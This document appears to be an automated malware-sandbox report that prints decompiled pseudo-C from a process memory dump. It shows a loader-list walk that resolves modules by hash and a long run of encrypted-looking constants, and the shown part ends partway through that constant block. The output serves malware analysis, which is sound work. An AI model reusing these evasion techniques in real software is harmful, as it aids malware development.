0x002a68b6
0x002a68c0
0x002a68c0
0x002a68c3
0x002a68c5
0x002a68c9
0x002a68cb
0x002a68ce
0x002a68d0
0x002a68d2
0x002a68d2
0x002a68d2
0x002a68d5
0x002a68d8
0x002a68db
0x002a68de
0x002a68e1
0x002a68e1
0x002a68e4
0x002a68e4
0x002a68e6
0x002a68e8
0x002a68ee
0x002a68f0
0x002a68f2
0x002a68f2
0x002a68f3
0x002a68f3
0x002a68f6
0x002a68f9
0x002a68fb
0x002a68fb
0x002a68fb
0x002a68fd
0x002a6902
0x002a690d
0x002a6919
0x002a691f
0x002a6921
0x002a6921
0x002a6921
0x002a6924
0x002a6929
0x002a692c
0x002a692c
0x002a6935
0x002a693a
0x002a693a
0x002a693b
0x002a693e
0x002a6940
0x002a6943
0x002a6945
0x002a6947
0x002a694b
0x002a694d
0x002a6955
0x002a6955
0x002a694b
0x002a6945
0x002a67cf
0x002a6958
0x002a6960
0x00000000
0x002a6960
0x002a6657
0x002a6657
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ed3c81f1bfc84d70636261b990197ced4dd9feb3e5bdaa58cdaaf48136af17ba
Instruction ID: 7adbb700c8aa47bf15e5d1135b13167459709cc80f2af0d202e6a21cc5cf1a42
Opcode Fuzzy Hash: ed3c81f1bfc84d70636261b990197ced4dd9feb3e5bdaa58cdaaf48136af17ba
Instruction Fuzzy Hash: 07129271E2062ADFCF18CF59C8942BEBBB1FF46300F14426AC866A7744DB749961DB90

Uniqueness

Uniqueness Score: 0.00%

Function 002A1530, Relevance: .0, Instructions: 19
COMMON

C-Code - Quality: 94%

			E002A1530(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t3;
				void* _t5;
				intOrPtr* _t10;
				intOrPtr* _t12;

				_t3 =  *[fs:0x30];
				_t5 = __ecx;
				_t10 =  *((intOrPtr*)(_t3 + 0xc)) + 0xc;
				_t12 =  *_t10;
				if(_t12 == _t10) {
					L3:
					goto 0x2c0211;
					return _t3;
				} else {
					while(1) {
						_t3 = E002A13A0( *((intOrPtr*)(_t12 + 0x30)));
						if(_t3 == _t5) {
							break;
						}
						_t12 =  *_t12;
						if(_t12 != _t10) {
							continue;
						} else {
							goto L3;
						}
						goto L5;
					}
					goto 0x2c0224;
					asm("int3");
					return _t3;
				}
				L5:
			}

0x002a1530
0x002a153c
0x002a153e
0x002a1541
0x002a1545
0x002a1559
0x002a1559
0x002a155e
0x002a1547
0x002a1547
0x002a154a
0x002a1551
0x00000000
0x00000000
0x002a1553
0x002a1557
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x002a1557
0x002a155f
0x002a1564
0x002a1565
0x002a1565
0x00000000

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction ID: 518e002f35b320405f531356592423eb99ea036a6e6e62e0a1ff7891712f8c27
Opcode Fuzzy Hash: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction Fuzzy Hash: 25E01232970451DBD7319E4888C4A65F3ABEBC67B0BAA055AD89A77601CA74BC308651

Uniqueness

Uniqueness Score: 0.00%

Function 002A21B0, Relevance: .0, Instructions: 3
COMMON

C-Code - Quality: 100%

			E002A21B0() {

				return  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
			}

0x002a21bc

Memory Dump Source

Source File: 0000000D.00000002.1560969809.002A1000.00000020.sdmp, Offset: 002A0000, based on PE: true

Associated: 0000000D.00000002.1560964759.002A0000.00000002.sdmp
Associated: 0000000D.00000002.1560997450.002AF000.00000002.sdmp
Associated: 0000000D.00000002.1561004641.002B0000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_2a0000_emitwpc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction ID: dd1ea78877d89c8c1f21003391c56dd86dd10fe21c56db2a52adb93900471d7c
Opcode Fuzzy Hash: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction Fuzzy Hash: 8EA00275752980CFCE12CB09C394F9073F4F744B41F0504F1E80997A11C238A900CA00

Uniqueness

Uniqueness Score: 0.00%

Function 002A6E3A, Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 447
libraryUNIQUE

C-Code - Quality: 99%

			E002A6E3A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t431;
				intOrPtr _t434;
				void* _t441;

				_t431 = __ebx;
				 *((intOrPtr*)(_t441 - 0x6a4)) = 0x15c250b;
				 *((intOrPtr*)(_t441 - 0x6a0)) = 0x3c051136;
				 *((intOrPtr*)(_t441 - 0x69c)) = 0xd3ade4a7;
				 *((intOrPtr*)(_t441 - 0x698)) = 0x23973baa;
				 *((intOrPtr*)(_t441 - 0x694)) = 0x8feb665e;
				 *((intOrPtr*)(_t441 - 0x690)) = 0xf45a03e8;
				 *((intOrPtr*)(_t441 - 0x68c)) = 0xa9d84069;
				 *((intOrPtr*)(_t441 - 0x688)) = 0x519e252e;
				 *((intOrPtr*)(_t441 - 0x684)) = 0x72492224;
				 *((intOrPtr*)(_t441 - 0x680)) = 0xb176f537;
				 *((intOrPtr*)(_t441 - 0x67c)) = 0x6df80dbd;
				 *((intOrPtr*)(_t441 - 0x678)) = 0x8d44ae7c;
				 *((intOrPtr*)(_t441 - 0x674)) = 0x82735d85;
				 *((intOrPtr*)(_t441 - 0x670)) = 0x81110df8;
				 *((intOrPtr*)(_t441 - 0x66c)) = 0x488c56e3;
				 *((intOrPtr*)(_t441 - 0x668)) = 0x52b634b4;
				 *((intOrPtr*)(_t441 - 0x664)) = 0x5bcccbc7;
				 *((intOrPtr*)(_t441 - 0x660)) = 0x6ce1ad93;
				 *((intOrPtr*)(_t441 - 0x65c)) = 0x18270280;
				 *((intOrPtr*)(_t441 - 0x658)) = 0x7d120895;
				 *((intOrPtr*)(_t441 - 0x654)) = 0x7701c908;
				 *((intOrPtr*)(_t441 - 0x650)) = 0xebb622a7;
				 *((intOrPtr*)(_t441 - 0x64c)) = 0xfdbe9ca9;
				 *((intOrPtr*)(_t441 - 0x648)) = 0xe60fd890;
				 *((intOrPtr*)(_t441 - 0x644)) = 0xb6543cc6;
				 *((intOrPtr*)(_t441 - 0x640)) = 0xe5169853;
				 *((intOrPtr*)(_t441 - 0x63c)) = 0x7d4787a;
				 *((intOrPtr*)(_t441 - 0x638)) = 0xa0c30ed4;
				 *((intOrPtr*)(_t441 - 0x634)) = 0xfd3621c5;
				 *((intOrPtr*)(_t441 - 0x630)) = 0x294d912;
				 *((intOrPtr*)(_t441 - 0x62c)) = 0x7b912c78;
				 *((intOrPtr*)(_t441 - 0x628)) = 0xaa9dcd8b;
				 *((intOrPtr*)(_t441 - 0x624)) = 0x3ee2b3a;
				 *((intOrPtr*)(_t441 - 0x620)) = 0x3764e3bc;
				 *((intOrPtr*)(_t441 - 0x61c)) = 0xfe482db4;
				 *((intOrPtr*)(_t441 - 0x618)) = 0x2912578c;
				 *((intOrPtr*)(_t441 - 0x614)) = 0x4209f774;
				 *((intOrPtr*)(_t441 - 0x610)) = 0x93d3b108;
				 *((intOrPtr*)(_t441 - 0x60c)) = 0x98fb9689;
				 *((intOrPtr*)(_t441 - 0x608)) = 0xcb37421f;
				 *((intOrPtr*)(_t441 - 0x604)) = 0x3f52b2bc;
				 *((intOrPtr*)(_t441 - 0x600)) = 0xdea254cc;
				 *((intOrPtr*)(_t441 - 0x5fc)) = 0x429953b4;
				 *((intOrPtr*)(_t441 - 0x5f8)) = 0x2ee21470;
				 *((intOrPtr*)(_t441 - 0x5f4)) = 0x177f19c5;
				 *((intOrPtr*)(_t441 - 0x5f0)) = 0x80f61f63;
				 *((intOrPtr*)(_t441 - 0x5ec)) = 0x462bf458;
				 *((intOrPtr*)(_t441 - 0x5e8)) = 0xafb7c123;
				 *((intOrPtr*)(_t441 - 0x5e4)) = 0xa6c57ec9;
				 *((intOrPtr*)(_t441 - 0x5e0)) = 0x69f2f53a;
				 *((intOrPtr*)(_t441 - 0x5dc)) = 0x89111520;
				 *((intOrPtr*)(_t441 - 0x5d8)) = 0xa5bd2416;
				 *((intOrPtr*)(_t441 - 0x5d4)) = 0x730f6b51;
				 *((intOrPtr*)(_t441 - 0x5d0)) = 0x91fc1fe;
				 *((intOrPtr*)(_t441 - 0x5cc)) = 0xa095249b;
				 *((intOrPtr*)(_t441 - 0x5c8)) = 0xaac500fa;
				 *((intOrPtr*)(_t441 - 0x5c4)) = 0x47184814;
				 *((intOrPtr*)(_t441 - 0x5c0)) = 0x8d98e306;
				 *((intOrPtr*)(_t441 - 0x5bc)) = 0x6303b070;
				 *((intOrPtr*)(_t441 - 0x5b8)) = 0xb2cb8926;
				 *((intOrPtr*)(_t441 - 0x5b4)) = 0x85f57f16;
				 *((intOrPtr*)(_t441 - 0x5b0)) = 0x27d13708;
				 *((intOrPtr*)(_t441 - 0x5ac)) = 0x8b71895e;
				 *((intOrPtr*)(_t441 - 0x5a8)) = 0x3bae59ec;
				 *((intOrPtr*)(_t441 - 0x5a4)) = 0xfb0bdb1b;
				 *((intOrPtr*)(_t441 - 0x5a0)) = 0xa72b3f9e;
				 *((intOrPtr*)(_t441 - 0x59c)) = 0x4daea654;
				 *((intOrPtr*)(_t441 - 0x598)) = 0x92e30cf7;
				 *((intOrPtr*)(_t441 - 0x594)) = 0x3656c7cc;
				 *((intOrPtr*)(_t441 - 0x590)) = 0x6e0670d7;
				 *((intOrPtr*)(_t441 - 0x58c)) = 0x3d4218ce;
				 *((intOrPtr*)(_t441 - 0x588)) = 0x3f25b269;
				 *((intOrPtr*)(_t441 - 0x584)) = 0x111c0e8b;
				 *((intOrPtr*)(_t441 - 0x580)) = 0xccb99784;
				 *((intOrPtr*)(_t441 - 0x57c)) = 0x55446dd6;
				 *((intOrPtr*)(_t441 - 0x578)) = 0x2d43ed57;
				 *((intOrPtr*)(_t441 - 0x574)) = 0xb9f97f69;
				 *((intOrPtr*)(_t441 - 0x570)) = 0xe0a7aeb7;
				 *((intOrPtr*)(_t441 - 0x56c)) = 0x11d06808;
				 *((intOrPtr*)(_t441 - 0x568)) = 0xcf8cc1d;
				 *((intOrPtr*)(_t441 - 0x564)) = 0x1dfbe416;
				 *((intOrPtr*)(_t441 - 0x560)) = 0xf4cf041b;
				 *((intOrPtr*)(_t441 - 0x55c)) = 0xc783c534;
				 *((intOrPtr*)(_t441 - 0x558)) = 0xead2883b;
				 *((intOrPtr*)(_t441 - 0x554)) = 0x88a0b7a1;
				 *((intOrPtr*)(_t441 - 0x550)) = 0x73666ab3;
				 *((intOrPtr*)(_t441 - 0x54c)) = 0x5a6299ec;
				 *((intOrPtr*)(_t441 - 0x548)) = 0xa86132fa;
				 *((intOrPtr*)(_t441 - 0x544)) = 0xe49feb6b;
				 *((intOrPtr*)(_t441 - 0x540)) = 0x34b60a2;
				 *((intOrPtr*)(_t441 - 0x53c)) = 0x82a46e1e;
				 *((intOrPtr*)(_t441 - 0x538)) = 0x41a9fe0;
				 *((intOrPtr*)(_t441 - 0x534)) = 0x64a5543b;
				 *((intOrPtr*)(_t441 - 0x530)) = 0x9a83613f;
				 *((intOrPtr*)(_t441 - 0x52c)) = 0x52f7e03a;
				 *((intOrPtr*)(_t441 - 0x528)) = 0xd78a5f3f;
				 *((intOrPtr*)(_t441 - 0x524)) = 0xfb683151;
				 *((intOrPtr*)(_t441 - 0x520)) = 0xa4c56b7a;
				 *((intOrPtr*)(_t441 - 0x51c)) = 0x96027acc;
				 *((intOrPtr*)(_t441 - 0x518)) = 0x39116e70;
				 *((intOrPtr*)(_t441 - 0x514)) = 0x80234d3a;
				 *((intOrPtr*)(_t441 - 0x510)) = 0x1cf1656b;
				 *((intOrPtr*)(_t441 - 0x50c)) = 0xd9e5d77f;
				 *((intOrPtr*)(_t441 - 0x508)) = 0xee2d6b36;
				 *((intOrPtr*)(_t441 - 0x504)) = 0x81fc3f80;
				 *((intOrPtr*)(_t441 - 0x500)) = 0xf4dee0de;
				 *((intOrPtr*)(_t441 - 0x4fc)) = 0x83802837;
				 *((intOrPtr*)(_t441 - 0x4f8)) = 0xb2f1e084;
				 *((intOrPtr*)(_t441 - 0x4f4)) = 0xb36cbe34;
				 *((intOrPtr*)(_t441 - 0x4f0)) = 0xf0e0bf95;
				 *((intOrPtr*)(_t441 - 0x4ec)) = 0xe0a285cd;
				 *((intOrPtr*)(_t441 - 0x4e8)) = 0xfcc82be4;
				 *((intOrPtr*)(_t441 - 0x4e4)) = 0xe76dfedb;
				 *((intOrPtr*)(_t441 - 0x4e0)) = 0x97265281;
				 *((intOrPtr*)(_t441 - 0x4dc)) = 0xd95d1b17;
				 *((intOrPtr*)(_t441 - 0x4d8)) = 0x389b7bda;
				 *((intOrPtr*)(_t441 - 0x4d4)) = 0x71cdd7c5;
				 *((intOrPtr*)(_t441 - 0x4d0)) = 0x8c5f31f3;
				 *((intOrPtr*)(_t441 - 0x4cc)) = 0xe7d5da16;
				 *((intOrPtr*)(_t441 - 0x4c8)) = 0x7914131d;
				 *((intOrPtr*)(_t441 - 0x4c4)) = 0x155a36fc;
				 *((intOrPtr*)(_t441 - 0x4c0)) = 0xa7e50a64;
				 *((intOrPtr*)(_t441 - 0x4bc)) = 0x690dad47;
				 *((intOrPtr*)(_t441 - 0x4b8)) = 0xa3007a7e;
				 *((intOrPtr*)(_t441 - 0x4b4)) = 0xe02e00fa;
				 *((intOrPtr*)(_t441 - 0x4b0)) = 0x329eeddf;
				 *((intOrPtr*)(_t441 - 0x4ac)) = 0xae353d2;
				 *((intOrPtr*)(_t441 - 0x4a8)) = 0x166413b8;
				 *((intOrPtr*)(_t441 - 0x4a4)) = 0x8918e5f3;
				 *((intOrPtr*)(_t441 - 0x4a0)) = 0xea795530;
				 *((intOrPtr*)(_t441 - 0x49c)) = 0xe9d8e700;
				 *((intOrPtr*)(_t441 - 0x498)) = 0xd532f147;
				 *((intOrPtr*)(_t441 - 0x494)) = 0x3ffdd03;
				 *((intOrPtr*)(_t441 - 0x490)) = 0x32771615;
				 *((intOrPtr*)(_t441 - 0x48c)) = 0xce59f5c6;
				 *((intOrPtr*)(_t441 - 0x488)) = 0xa48bbf89;
				 *((intOrPtr*)(_t441 - 0x484)) = 0xfc7f7c88;
				 *((intOrPtr*)(_t441 - 0x480)) = 0x747b861b;
				 *((intOrPtr*)(_t441 - 0x47c)) = 0x556e714e;
				 *((intOrPtr*)(_t441 - 0x478)) = 0xc64df43f;
				 *((intOrPtr*)(_t441 - 0x474)) = 0xb5d56d35;
				 *((intOrPtr*)(_t441 - 0x470)) = 0x34f4b205;
				 *((intOrPtr*)(_t441 - 0x46c)) = 0x46ecf5fd;
				 *((intOrPtr*)(_t441 - 0x468)) = 0xec83a30;
				 *((intOrPtr*)(_t441 - 0x464)) = 0x39ec0be6;
				 *((intOrPtr*)(_t441 - 0x460)) = 0x73daf6cc;
				 *((intOrPtr*)(_t441 - 0x45c)) = 0x650c09d7;
				 *((intOrPtr*)(_t441 - 0x458)) = 0xa55b36db;
				 *((intOrPtr*)(_t441 - 0x454)) = 0xd4c5ed39;
				 *((intOrPtr*)(_t441 - 0x450)) = 0xc23b43e0;
				 *((intOrPtr*)(_t441 - 0x44c)) = 0xaa7296c8;
				 *((intOrPtr*)(_t441 - 0x448)) = 0x30e16744;
				 *((intOrPtr*)(_t441 - 0x444)) = 0x59f6bbc7;
				 *((intOrPtr*)(_t441 - 0x440)) = 0x5d1e980c;
				 *((intOrPtr*)(_t441 - 0x43c)) = 0x148c3302;
				 *((intOrPtr*)(_t441 - 0x438)) = 0x7d01d553;
				 *((intOrPtr*)(_t441 - 0x434)) = 0x2fd00b4;
				 *((intOrPtr*)(_t441 - 0x430)) = 0xc91e8228;
				 *((intOrPtr*)(_t441 - 0x42c)) = 0x8b96aadc;
				 *((intOrPtr*)(_t441 - 0x428)) = 0x6d842be5;
				 *((intOrPtr*)(_t441 - 0x424)) = 0x38dcf886;
				 *((intOrPtr*)(_t441 - 0x420)) = 0x4fb6e3ba;
				 *((intOrPtr*)(_t441 - 0x41c)) = 0xf5a78b8c;
				 *((intOrPtr*)(_t441 - 0x418)) = 0x181817bd;
				 *((intOrPtr*)(_t441 - 0x414)) = 0x2ad8dc2e;
				 *((intOrPtr*)(_t441 - 0x410)) = 0x56b7f942;
				 *((intOrPtr*)(_t441 - 0x40c)) = 0x25c2e735;
				 *((intOrPtr*)(_t441 - 0x408)) = 0x4284b5df;
				 *((intOrPtr*)(_t441 - 0x404)) = 0x2a3f0eb;
				 *((intOrPtr*)(_t441 - 0x400)) = 0x2e4ec9c6;
				 *((intOrPtr*)(_t441 - 0x3fc)) = 0x2fe478b9;
				 *((intOrPtr*)(_t441 - 0x3f8)) = 0x629fd88d;
				 *((intOrPtr*)(_t441 - 0x3f4)) = 0x1f9257a7;
				 *((intOrPtr*)(_t441 - 0x3f0)) = 0xdecf0136;
				 *((intOrPtr*)(_t441 - 0x3ec)) = 0x6a9988fb;
				 *((intOrPtr*)(_t441 - 0x3e8)) = 0x88e47ad9;
				 *((intOrPtr*)(_t441 - 0x3e4)) = 0x5fb1ef1c;
				 *((intOrPtr*)(_t441 - 0x3e0)) = 0x1e944d38;
				 *((intOrPtr*)(_t441 - 0x3dc)) = 0x9d0644ae;
				 *((intOrPtr*)(_t441 - 0x3d8)) = 0xc4d99227;
				 *((intOrPtr*)(_t441 - 0x3d4)) = 0xd96a9d5a;
				 *((intOrPtr*)(_t441 - 0x3d0)) = 0x147f5485;
				 *((intOrPtr*)(_t441 - 0x3cc)) = 0xd52820a8;
				 *((intOrPtr*)(_t441 - 0x3c8)) = 0xb62d1425;
				 *((intOrPtr*)(_t441 - 0x3c4)) = 0x668d0e0d;
				 *((intOrPtr*)(_t441 - 0x3c0)) = 0x70490096;
				 *((intOrPtr*)(_t441 - 0x3bc)) = 0xdb4659a0;
				 *((intOrPtr*)(_t441 - 0x3b8)) = 0xc9608808;
				 *((intOrPtr*)(_t441 - 0x3b4)) = 0x31192940;
				 *((intOrPtr*)(_t441 - 0x3b0)) = 0xc97b64d9;
				 *((intOrPtr*)(_t441 - 0x3ac)) = 0x36c82388;
				 *((intOrPtr*)(_t441 - 0x3a8)) = 0xa387d3a7;
				 *((intOrPtr*)(_t441 - 0x3a4)) = 0x30ab71f2;
				 *((intOrPtr*)(_t441 - 0x3a0)) = 0x81cbd4d2;
				 *((intOrPtr*)(_t441 - 0x39c)) = 0x757cf98c;
				 *((intOrPtr*)(_t441 - 0x398)) = 0xabe4a1a4;
				 *((intOrPtr*)(_t441 - 0x394)) = 0x4448a644;
				 *((intOrPtr*)(_t441 - 0x390)) = 0x79ac04a0;
				 *((intOrPtr*)(_t441 - 0x38c)) = 0x3546bc37;
				 *((intOrPtr*)(_t441 - 0x388)) = 0xf8f9e886;
				 *((intOrPtr*)(_t441 - 0x384)) = 0x95e56c0e;
				 *((intOrPtr*)(_t441 - 0x380)) = 0x7b204792;
				 *((intOrPtr*)(_t441 - 0x37c)) = 0x61d2873a;
				 *((intOrPtr*)(_t441 - 0x378)) = 0x47d2910a;
				 *((intOrPtr*)(_t441 - 0x374)) = 0x132b14f;
				 *((intOrPtr*)(_t441 - 0x370)) = 0x5c1120be;
				 *((intOrPtr*)(_t441 - 0x36c)) = 0xc732fa7f;
				 *((intOrPtr*)(_t441 - 0x368)) = 0x4f3f0754;
				 *((intOrPtr*)(_t441 - 0x364)) = 0x84ed6131;
				 *((intOrPtr*)(_t441 - 0x360)) = 0x7357ee35;
				 *((intOrPtr*)(_t441 - 0x35c)) = 0xee76964a;
				 *((intOrPtr*)(_t441 - 0x358)) = 0x8d5f7cc1;
				 *((intOrPtr*)(_t441 - 0x354)) = 0x286d6c64;
				 *((intOrPtr*)(_t441 - 0x350)) = 0x5b402a70;
				 *((intOrPtr*)(_t441 - 0x34c)) = 0x58d080a8;
				 *((intOrPtr*)(_t441 - 0x348)) = 0xe25a1201;
				 *((intOrPtr*)(_t441 - 0x344)) = 0x652bbebd;
				 *((intOrPtr*)(_t441 - 0x340)) = 0xd305a56f;
				 *((intOrPtr*)(_t441 - 0x33c)) = 0xa7b65d99;
				 *((intOrPtr*)(_t441 - 0x338)) = 0x66acb832;
				 *((intOrPtr*)(_t441 - 0x334)) = 0x165938f2;
				 *((intOrPtr*)(_t441 - 0x330)) = 0x1ecb512f;
				 *((intOrPtr*)(_t441 - 0x32c)) = 0x930810aa;
				 *((intOrPtr*)(_t441 - 0x328)) = 0x43254b54;
				 *((intOrPtr*)(_t441 - 0x324)) = 0xdf1b1c7a;
				 *((intOrPtr*)(_t441 - 0x320)) = 0x4c19c8ed;
				 *((intOrPtr*)(_t441 - 0x31c)) = 0x94b7994d;
				 *((intOrPtr*)(_t441 - 0x318)) = 0x4164ea17;
				 *((intOrPtr*)(_t441 - 0x314)) = 0x1d0bf59;
				 *((intOrPtr*)(_t441 - 0x310)) = 0xedb017b3;
				 *((intOrPtr*)(_t441 - 0x30c)) = 0x7dc8e84a;
				 *((intOrPtr*)(_t441 - 0x308)) = 0xc243ef4d;
				 *((intOrPtr*)(_t441 - 0x304)) = 0xb98517a5;
				 *((intOrPtr*)(_t441 - 0x300)) = 0x4da1f8d9;
				 *((intOrPtr*)(_t441 - 0x2fc)) = 0xac0d5549;
				 *((intOrPtr*)(_t441 - 0x2f8)) = 0x457394ca;
				 *((intOrPtr*)(_t441 - 0x2f4)) = 0x3dee73ab;
				 *((intOrPtr*)(_t441 - 0x2f0)) = 0x1cb60641;
				 *((intOrPtr*)(_t441 - 0x2ec)) = 0x73c0ce9f;
				 *((intOrPtr*)(_t441 - 0x2e8)) = 0x78f928db;
				 *((intOrPtr*)(_t441 - 0x2e4)) = 0xa085bf53;
				 *((intOrPtr*)(_t441 - 0x2e0)) = 0x29ed2789;
				 *((intOrPtr*)(_t441 - 0x2dc)) = 0x5656443b;
				 *((intOrPtr*)(_t441 - 0x2d8)) = 0x9ad7d08b;
				 *((intOrPtr*)(_t441 - 0x2d4)) = 0x712266b2;
				 *((intOrPtr*)(_t441 - 0x2d0)) = 0x5f0fa9de;
				 *((intOrPtr*)(_t441 - 0x2cc)) = 0x82f5bfd2;
				 *((intOrPtr*)(_t441 - 0x2c8)) = 0x673d9c4f;
				 *((intOrPtr*)(_t441 - 0x2c4)) = 0x740ba1a7;
				 *((intOrPtr*)(_t441 - 0x2c0)) = 0x373a1311;
				 *((intOrPtr*)(_t441 - 0x2bc)) = 0x417272e5;
				 *((intOrPtr*)(_t441 - 0x2b8)) = 0x9d0f9644;
				 *((intOrPtr*)(_t441 - 0x2b4)) = 0x6bd560d8;
				 *((intOrPtr*)(_t441 - 0x2b0)) = 0xd8e03e60;
				 *((intOrPtr*)(_t441 - 0x2ac)) = 0x7e9018aa;
				 *((intOrPtr*)(_t441 - 0x2a8)) = 0xc3363eae;
				 *((intOrPtr*)(_t441 - 0x2a4)) = 0x65638ae1;
				 *((intOrPtr*)(_t441 - 0x2a0)) = 0x341ce865;
				 *((intOrPtr*)(_t441 - 0x29c)) = 0xd26b61c7;
				 *((intOrPtr*)(_t441 - 0x298)) = 0x378194a5;
				 *((intOrPtr*)(_t441 - 0x294)) = 0xd946a510;
				 *((intOrPtr*)(_t441 - 0x290)) = 0x243a7a98;
				 *((intOrPtr*)(_t441 - 0x28c)) = 0x669eb82;
				 *((intOrPtr*)(_t441 - 0x288)) = 0x2341e9d9;
				 *((intOrPtr*)(_t441 - 0x284)) = 0x3a04aeda;
				 *((intOrPtr*)(_t441 - 0x280)) = 0xad183657;
				 *((intOrPtr*)(_t441 - 0x27c)) = 0xd9444113;
				 *((intOrPtr*)(_t441 - 0x278)) = 0x38c3ff49;
				 *((intOrPtr*)(_t441 - 0x274)) = 0x40dc1552;
				 *((intOrPtr*)(_t441 - 0x270)) = 0xcfd97b4d;
				 *((intOrPtr*)(_t441 - 0x26c)) = 0xfdc9c4fb;
				 *((intOrPtr*)(_t441 - 0x268)) = 0x5e087d4a;
				 *((intOrPtr*)(_t441 - 0x264)) = 0x59ec9ca1;
				 *((intOrPtr*)(_t441 - 0x260)) = 0x5ebbe6fa;
				 *((intOrPtr*)(_t441 - 0x25c)) = 0xb9d86287;
				 *((intOrPtr*)(_t441 - 0x258)) = 0xc5896fe0;
				 *((intOrPtr*)(_t441 - 0x254)) = 0x5593a020;
				 *((intOrPtr*)(_t441 - 0x250)) = 0xf0715a8d;
				 *((intOrPtr*)(_t441 - 0x24c)) = 0x2f41e908;
				 *((intOrPtr*)(_t441 - 0x248)) = 0x92656eeb;
				 *((intOrPtr*)(_t441 - 0x244)) = 0x2351a2be;
				 *((intOrPtr*)(_t441 - 0x240)) = 0xc4188bb2;
				 *((intOrPtr*)(_t441 - 0x23c)) = 0x6d292057;
				 *((intOrPtr*)(_t441 - 0x238)) = 0xc62c7f66;
				 *((intOrPtr*)(_t441 - 0x234)) = 0x9e7b5715;
				 *((intOrPtr*)(_t441 - 0x230)) = 0x807acea3;
				 *((intOrPtr*)(_t441 - 0x22c)) = 0xafe067b;
				 *((intOrPtr*)(_t441 - 0x228)) = 0x43ee4a69;
				 *((intOrPtr*)(_t441 - 0x224)) = 0x48ae7035;
				 *((intOrPtr*)(_t441 - 0x220)) = 0xab98a108;
				 *((intOrPtr*)(_t441 - 0x21c)) = 0xb4e8d930;
				 *((intOrPtr*)(_t441 - 0x218)) = 0x5d7a50df;
				 *((intOrPtr*)(_t441 - 0x214)) = 0xe6115588;
				 *((intOrPtr*)(_t441 - 0x210)) = 0xed8a07f0;
				 *((intOrPtr*)(_t441 - 0x20c)) = 0x503ede10;
				 *((intOrPtr*)(_t441 - 0x208)) = 0x40d4cc95;
				 *((intOrPtr*)(_t441 - 0x204)) = 0xd4b67ed1;
				 *((intOrPtr*)(_t441 - 0x200)) = 0x37f96aee;
				 *((intOrPtr*)(_t441 - 0x1fc)) = 0xa277730c;
				 *((intOrPtr*)(_t441 - 0x1f8)) = 0x336bed4b;
				 *((intOrPtr*)(_t441 - 0x1f4)) = 0xe34ada5f;
				 *((intOrPtr*)(_t441 - 0x1f0)) = 0xc3095d9b;
				 *((intOrPtr*)(_t441 - 0x1ec)) = 0xbd9bcd9f;
				 *((intOrPtr*)(_t441 - 0x1e8)) = 0x58945e90;
				 *((intOrPtr*)(_t441 - 0x1e4)) = 0x611fbd37;
				 *((intOrPtr*)(_t441 - 0x1e0)) = 0xfef46df3;
				 *((intOrPtr*)(_t441 - 0x1dc)) = 0x8f3c4182;
				 *((intOrPtr*)(_t441 - 0x1d8)) = 0x197a475c;
				 *((intOrPtr*)(_t441 - 0x1d4)) = 0x7767e10c;
				 *((intOrPtr*)(_t441 - 0x1d0)) = 0x72444e41;
				 *((intOrPtr*)(_t441 - 0x1cc)) = 0x47ee7636;
				 *((intOrPtr*)(_t441 - 0x1c8)) = 0xa478bb23;
				 *((intOrPtr*)(_t441 - 0x1c4)) = 0xd0e03d8b;
				 *((intOrPtr*)(_t441 - 0x1c0)) = 0x46b0febf;
				 *((intOrPtr*)(_t441 - 0x1bc)) = 0xbe9b27fb;
				 *((intOrPtr*)(_t441 - 0x1b8)) = 0xb2b0cd15;
				 *((intOrPtr*)(_t441 - 0x1b4)) = 0x3aed5821;
				 *((intOrPtr*)(_t441 - 0x1b0)) = 0x9e7b88f4;
				 *((intOrPtr*)(_t441 - 0x1ac)) = 0xe7f3d3f5;
				 *((intOrPtr*)(_t441 - 0x1a8)) = 0x5eaa0c60;
				 *((intOrPtr*)(_t441 - 0x1a4)) = 0x46faf790;
				 *((intOrPtr*)(_t441 - 0x1a0)) = 0xb53a1827;
				 *((intOrPtr*)(_t441 - 0x19c)) = 0x18a734b2;
				 *((intOrPtr*)(_t441 - 0x198)) = 0x3cb859ae;
				 *((intOrPtr*)(_t441 - 0x194)) = 0x2610448a;
				 *((intOrPtr*)(_t441 - 0x190)) = 0x98991077;
				 *((intOrPtr*)(_t441 - 0x18c)) = 0x841a0d00;
				 *((intOrPtr*)(_t441 - 0x188)) = 0x4e037ade;
				 *((intOrPtr*)(_t441 - 0x184)) = 0xddf9db21;
				 *((intOrPtr*)(_t441 - 0x180)) = 0x14af2e1e;
				 *((intOrPtr*)(_t441 - 0x17c)) = 0x1a7dd804;
				 *((intOrPtr*)(_t441 - 0x178)) = 0xedacd066;
				 *((intOrPtr*)(_t441 - 0x174)) = 0xac875451;
				 *((intOrPtr*)(_t441 - 0x170)) = 0x44ef4ace;
				 *((intOrPtr*)(_t441 - 0x16c)) = 0x475f1ccd;
				 *((intOrPtr*)(_t441 - 0x168)) = 0xa19afa6e;
				 *((intOrPtr*)(_t441 - 0x164)) = 0xea7e01c6;
				 *((intOrPtr*)(_t441 - 0x160)) = 0x53b2e8a7;
